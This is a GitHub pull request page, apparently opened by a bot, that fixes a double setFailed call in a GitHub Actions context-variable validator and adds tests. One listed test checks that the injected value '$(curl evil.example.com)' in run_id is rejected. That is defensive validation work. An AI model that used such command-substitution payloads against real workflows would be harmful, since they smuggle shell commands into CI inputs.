[jsweep] Clean validate_context_variables.cjs#38785
Draft
github-actions[bot] wants to merge 1 commit into
Draft
Conversation
- Remove unnecessary try/catch that caused setFailed to be called twice on validation failure (first with detailed message, then in catch with ERR_VALIDATION prefix, producing 'Context variable validation failed: - Include ERR_VALIDATION prefix directly in the single setFailed call - Extract failureDetails variable for clarity in error message construction - Remove unused getErrorMessage import from error_helpers.cjs - Add 7 new tests covering: ERR_VALIDATION prefix in error message, single setFailed call assertion, empty context (0 fields checked), correct validated count reporting, multiple simultaneous failures, run_id/run_number top-level validation, and run_id injection rejection Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Cleans
actions/setup/js/validate_context_variables.cjsby removing a redundant try/catch that causedcore.setFailedto be called twice on validation failure.Context Type
This file runs in github-script context — it uses
core.info(),core.error(),core.setFailed()and receivescontextas a global.Changes Made
Bug Fix: Double
setFailedcall removedThe old
validateContextVariableswrapped all logic in a try/catch where:setFailed(detailedMessage)called, thenthrow new Error(detailedMessage)setFailed(ERR_VALIDATION + ": Context variable validation failed: " + detailedMessage)— overwriting the first callThe final error seen by GitHub Actions was
ERR_VALIDATION: Context variable validation failed: Context variable validation failed!\n\nFound...— the phrase "Context variable validation failed" appeared twice.After cleanup
ERR_VALIDATIONprefix is now included directly in the singlesetFailedcallfailureDetailsvariable for clarity in error message constructiongetErrorMessageimport fromerror_helpers.cjsTest Improvements
7 new tests added (36 → 43 total):
setFailedcalled exactly once (not twice)$(curl evil.example.com)blockedValidation Checks ✅
npm run format:cjs✓npm run lint:cjs✓npm run typecheck✓ (file already had@ts-check)npm run test:js✓ — 43/43 tests pass